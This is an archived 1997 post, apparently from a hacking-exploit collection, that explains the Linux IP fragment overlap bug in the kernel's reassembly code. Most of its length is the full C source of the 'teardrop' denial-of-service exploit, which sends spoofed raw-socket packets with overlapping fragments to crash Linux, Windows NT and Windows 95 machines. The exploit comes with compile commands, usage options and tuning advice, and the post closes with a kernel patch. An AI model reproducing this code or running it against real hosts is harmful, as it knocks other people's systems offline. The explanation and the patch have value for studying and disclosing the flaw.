home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / teardrop.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  13KB  |  366 lines

  1. Linux 2.0.32 will include the IP frag patch for this exploit.  Microsoft has
  2. a patch that will correct this problem available at :
  3.  
  4. ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postSP3/simptcp-fix
  5.  
  6. Date:         Thu, 13 Nov 1997 22:06:15 -0800
  7. From:         G P R <route@RESENTMENT.INFONEXUS.COM>
  8. Subject:      Linux IP fragment overlap bug
  9.  
  10.     Helu.
  11.  
  12.     I wrote this post a while back when the bug was first discovered.  It
  13. seems as though this bug (and patch) has gotten out, so here it is, in it's
  14. entirety.
  15.  
  16.     As it happens, Linux has a serious bug in it's IP fragmentation module.
  17. More specifically, in the fragmentation reassembly code.  More specifically,
  18. the bug manifests itself in the `ip_glue()` function....
  19.  
  20.     When Linux reassembles IP fragments to form the original IP datagram, it
  21. runs in a loop, copying the payload from all the queued fragments into a newly
  22. allocated buffer (which would then normally be passed to the IP layer proper).
  23. From ip_fragment.c@376:
  24.  
  25.         fp = qp->fragments;
  26.         while(fp != NULL)
  27.         {
  28.                 if(count+fp->len > skb->len)
  29.                 {
  30.                     error_to_big;
  31.                 }
  32.                 memcpy((ptr + fp->offset), fp->ptr, fp->len);
  33.                 count += fp->len;
  34.                 fp = fp->next;
  35.         }
  36.  
  37.     While it does check to see if the fragment length is too large, which would
  38. have the kernel copy too much data, it doesn't check to see if the fragment
  39. length is too small, which would have the kernel copy WAY too data (such is the
  40. case if fp->len is < 0).
  41.  
  42.     To see when this happens, we need to look at how Linux adds IP datagrams
  43. to the reassembly queue.  From ip_fragment.c@502:
  44.  
  45.         /*
  46.          *      Determine the position of this fragment.
  47.          */
  48.  
  49.         end = offset + ntohs(iph->tot_len) - ihl;
  50.  
  51.     Ok.  That's nice.  Now we have to look at what happens when we have
  52. overlaping fragments...  From ip_fragment.c@531:
  53.  
  54.         /*
  55.          *      We found where to put this one.
  56.          *      Check for overlap with preceding fragment, and, if needed,
  57.          *      align things so that any overlaps are eliminated.
  58.          */
  59.         if (prev != NULL && offset < prev->end)
  60.         {
  61.                 i = prev->end - offset;
  62.                 offset += i;    /* ptr into datagram */
  63.                 ptr += i;       /* ptr into fragment data */
  64.         }
  65.  
  66.     If we find that the current fragment's offset is inside the end of a
  67. previous fragment (overlap), we need to (try) align it correctly.  Well, this
  68. is fine and good, unless the payload of the current fragment happens to NOT
  69. contain enough data to cover the realigning.  In that case, `offset` will end
  70. up being larger then `end`.  These two values are passed to `ip_frag_create()`
  71. where the length of the fragment data is computed.  From ip_fragment.c@97:
  72.  
  73.         /* Fill in the structure. */
  74.         fp->offset = offset;
  75.         fp->end = end;
  76.         fp->len = end - offset;
  77.  
  78.     This results in fp->len being negative and the memcpy() at the top will end
  79. up trying to copy entirely too much data, resulting in a reboot or a halt,
  80. depending on how much physical memory you've got.
  81.  
  82.     We can trigger this normally unlikely event by simply sending 2 specially
  83. fragmented IP datagrams.  The first is the 0 offset fragment with a payload of
  84. size N, with the MF bit on (data content is irrelevant).  The second is the
  85. last fragment (MF == 0) with a positive offset < N and with a payload of < N.
  86.  
  87.     Every linux implementation I have been able to look at seems to have this
  88. problem (1.x - 2.x, including the development kernels).
  89.  
  90.     Oh, by the way, NT/95 appear to have the bug also.  Try sending 10 - 15 of
  91. these fragment combos to an NT/95 machine.
  92.  
  93.     Special thanks to klepto for bringing the problem to my attention and
  94. writing the initial exploit.
  95.  
  96.             route|daemon9           route@infonexus.com
  97.  
  98. ------[Begin] -- Guby Linux -------------------------------------------------
  99.  
  100. /*
  101.  *  Copyright (c) 1997 route|daemon9  <route@infonexus.com> 11.3.97
  102.  *
  103.  *  Linux/NT/95 Overlap frag bug exploit
  104.  *
  105.  *  Exploits the overlapping IP fragment bug present in all Linux kernels and
  106.  *  NT 4.0 / Windows 95 (others?)
  107.  *
  108.  *  Based off of:   flip.c by klepto
  109.  *  Compiles on:    Linux, *BSD*
  110.  *
  111.  *  gcc -O2 teardrop.c -o teardrop
  112.  *      OR
  113.  *  gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
  114.  */
  115.  
  116. #include <stdio.h>
  117. #include <stdlib.h>
  118. #include <unistd.h>
  119. #include <string.h>
  120. #include <netdb.h>
  121. #include <netinet/in.h>
  122. #include <netinet/udp.h>
  123. #include <arpa/inet.h>
  124. #include <sys/types.h>
  125. #include <sys/time.h>
  126. #include <sys/socket.h>
  127.  
  128. #ifdef STRANGE_BSD_BYTE_ORDERING_THING
  129.                         /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
  130. #define FIX(n)  (n)
  131. #else                   /* OpenBSD 2.1, all Linux */
  132. #define FIX(n)  htons(n)
  133. #endif  /* STRANGE_BSD_BYTE_ORDERING_THING */
  134.  
  135. #define IP_MF   0x2000  /* More IP fragment en route */
  136. #define IPH     0x14    /* IP header size */
  137. #define UDPH    0x8     /* UDP header size */
  138. #define PADDING 0x1c    /* datagram frame padding for first packet */
  139. #define MAGIC   0x3     /* Magic Fragment Constant (tm).  Should be 2 or 3 */
  140. #define COUNT   0x1     /* Linux dies with 1, NT is more stalwart and can
  141.                          * withstand maybe 5 or 10 sometimes...  Experiment.
  142.                          */
  143. void usage(u_char *);
  144. u_long name_resolve(u_char *);
  145. u_short in_cksum(u_short *, int);
  146. void send_frags(int, u_long, u_long, u_short, u_short);
  147.  
  148. int main(int argc, char **argv)
  149. {
  150.     int one = 1, count = 0, i, rip_sock;
  151.     u_long  src_ip = 0, dst_ip = 0;
  152.     u_short src_prt = 0, dst_prt = 0;
  153.     struct in_addr addr;
  154.  
  155.     fprintf(stderr, "teardrop   route|daemon9\n\n");
  156.  
  157.     if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  158.     {
  159.         perror("raw socket");
  160.         exit(1);
  161.     }
  162.     if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
  163.         < 0)
  164.     {
  165.         perror("IP_HDRINCL");
  166.         exit(1);
  167.     }
  168.     if (argc < 3) usage(argv[0]);
  169.     if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
  170.     {
  171.         fprintf(stderr, "What the hell kind of IP address is that?\n");
  172.         exit(1);
  173.     }
  174.  
  175.     while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
  176.     {
  177.         switch (i)
  178.         {
  179.             case 's':               /* source port (should be emphemeral) */
  180.                 src_prt = (u_short)atoi(optarg);
  181.                 break;
  182.             case 't':               /* dest port (DNS, anyone?) */
  183.                 dst_prt = (u_short)atoi(optarg);
  184.                 break;
  185.             case 'n':               /* number to send */
  186.                 count   = atoi(optarg);
  187.                 break;
  188.             default :
  189.                 usage(argv[0]);
  190.                 break;              /* NOTREACHED */
  191.         }
  192.     }
  193.     srandom((unsigned)(time((time_t)0)));
  194.     if (!src_prt) src_prt = (random() % 0xffff);
  195.     if (!dst_prt) dst_prt = (random() % 0xffff);
  196.     if (!count)   count   = COUNT;
  197.  
  198.     fprintf(stderr, "Death on flaxen wings:\n");
  199.     addr.s_addr = src_ip;
  200.     fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
  201.     addr.s_addr = dst_ip;
  202.     fprintf(stderr, "  To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
  203.     fprintf(stderr, " Amt: %5d\n", count);
  204.     fprintf(stderr, "[ ");
  205.  
  206.     for (i = 0; i < count; i++)
  207.     {
  208.         send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
  209.         fprintf(stderr, "b00m ");
  210.         usleep(500);
  211.     }
  212.     fprintf(stderr, "]\n");
  213.     return (0);
  214. }
  215.  
  216. /*
  217.  *  Send two IP fragments with pathological offsets.  We use an implementation
  218.  *  independent way of assembling network packets that does not rely on any of
  219.  *  the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
  220.  */
  221.  
  222. void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
  223.                 u_short dst_prt)
  224. {
  225.     u_char *packet = NULL, *p_ptr = NULL;   /* packet pointers */
  226.     u_char byte;                            /* a byte */
  227.     struct sockaddr_in sin;                 /* socket protocol structure */
  228.  
  229.     sin.sin_family      = AF_INET;
  230.     sin.sin_port        = src_prt;
  231.     sin.sin_addr.s_addr = dst_ip;
  232.  
  233.     /*
  234.      * Grab some memory for our packet, align p_ptr to point at the beginning
  235.      * of our packet, and then fill it with zeros.
  236.      */
  237.     packet = (u_char *)malloc(IPH + UDPH + PADDING);
  238.     p_ptr  = packet;
  239.     bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
  240.  
  241.     byte = 0x45;                        /* IP version and header length */
  242.     memcpy(p_ptr, &byte, sizeof(u_char));
  243.     p_ptr += 2;                         /* IP TOS (skipped) */
  244.     *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);    /* total length */
  245.     p_ptr += 2;
  246.     *((u_short *)p_ptr) = htons(242);   /* IP id */
  247.     p_ptr += 2;
  248.     *((u_short *)p_ptr) |= FIX(IP_MF);  /* IP frag flags and offset */
  249.     p_ptr += 2;
  250.     *((u_short *)p_ptr) = 0x40;         /* IP TTL */
  251.     byte = IPPROTO_UDP;
  252.     memcpy(p_ptr + 1, &byte, sizeof(u_char));
  253.     p_ptr += 4;                         /* IP checksum filled in by kernel */
  254.     *((u_long *)p_ptr) = src_ip;        /* IP source address */
  255.     p_ptr += 4;
  256.     *((u_long *)p_ptr) = dst_ip;        /* IP destination address */
  257.     p_ptr += 4;
  258.     *((u_short *)p_ptr) = htons(src_prt);       /* UDP source port */
  259.     p_ptr += 2;
  260.     *((u_short *)p_ptr) = htons(dst_prt);       /* UDP destination port */
  261.     p_ptr += 2;
  262.     *((u_short *)p_ptr) = htons(8 + PADDING);   /* UDP total length */
  263.  
  264.     if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
  265.                 sizeof(struct sockaddr)) == -1)
  266.     {
  267.         perror("\nsendto");
  268.         free(packet);
  269.         exit(1);
  270.     }
  271.  
  272.     /*  We set the fragment offset to be inside of the previous packet's
  273.      *  payload (it overlaps inside the previous packet) but do not include
  274.      *  enough payload to cover complete the datagram.  Just the header will
  275.      *  do, but to crash NT/95 machines, a bit larger of packet seems to work
  276.      *  better.
  277.      */
  278.     p_ptr = &packet[2];         /* IP total length is 2 bytes into the header */
  279.     *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
  280.     p_ptr += 4;                 /* IP offset is 6 bytes into the header */
  281.     *((u_short *)p_ptr) = FIX(MAGIC);
  282.  
  283.     if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
  284.                 sizeof(struct sockaddr)) == -1)
  285.     {
  286.         perror("\nsendto");
  287.         free(packet);
  288.         exit(1);
  289.     }
  290.     free(packet);
  291. }
  292.  
  293. u_long name_resolve(u_char *host_name)
  294. {
  295.     struct in_addr addr;
  296.     struct hostent *host_ent;
  297.  
  298.     if ((addr.s_addr = inet_addr(host_name)) == -1)
  299.     {
  300.         if (!(host_ent = gethostbyname(host_name))) return (0);
  301.         bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
  302.     }
  303.     return (addr.s_addr);
  304. }
  305.  
  306. void usage(u_char *name)
  307. {
  308.     fprintf(stderr,
  309.             "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
  310.             name);
  311.     exit(0);
  312. }
  313.  
  314. /* EOF */
  315.  
  316. ------[End] -- Guby Linux ----------------------------------------------------
  317.  
  318.     And the patch:
  319.  
  320. ------[Begin] -- Helu Linux -------------------------------------------------
  321.  
  322. --- ip_fragment.c       Mon Nov 10 14:58:38 1997
  323. +++ ip_fragment.c.patched       Mon Nov 10 19:18:52 1997
  324. @@ -12,6 +12,7 @@
  325.   *             Alan Cox        :       Split from ip.c , see ip_input.c for history.
  326.   *             Alan Cox        :       Handling oversized frames
  327.   *             Uriel Maimon    :       Accounting errors in two fringe cases.
  328. + *             route           :       IP fragment overlap bug
  329.   */
  330.  
  331.  #include <linux/types.h>
  332. @@ -578,6 +579,22 @@
  333.                         frag_kfree_s(tmp, sizeof(struct ipfrag));
  334.                 }
  335.         }
  336. +
  337. +        /*
  338. +         * Uh-oh.  Some one's playing some park shenanigans on us.
  339. +         * IP fragoverlap-linux-go-b00m bug.
  340. +         * route 11.3.97
  341. +         */
  342. +
  343. +        if (offset > end)
  344. +        {
  345. +                skb->sk = NULL;
  346. +                printk("IP: Invalid IP fragment (offset > end) found from %s\n", in_ntoa(iph->saddr));
  347. +                kfree_skb(skb, FREE_READ);
  348. +                ip_statistics.IpReasmFails++;
  349. +                ip_free(qp);
  350. +                return NULL;
  351. +        }
  352.  
  353.         /*
  354.          *      Insert this fragment in the chain of fragments.
  355.  
  356. ------[End] -- Helu Linux ----------------------------------------------------
  357.  
  358. EOF
  359.  
  360. --
  361.         Corporate
  362.                 Persuasion
  363.                          Through
  364.                                Internet
  365.                                       Terrorism.
  366.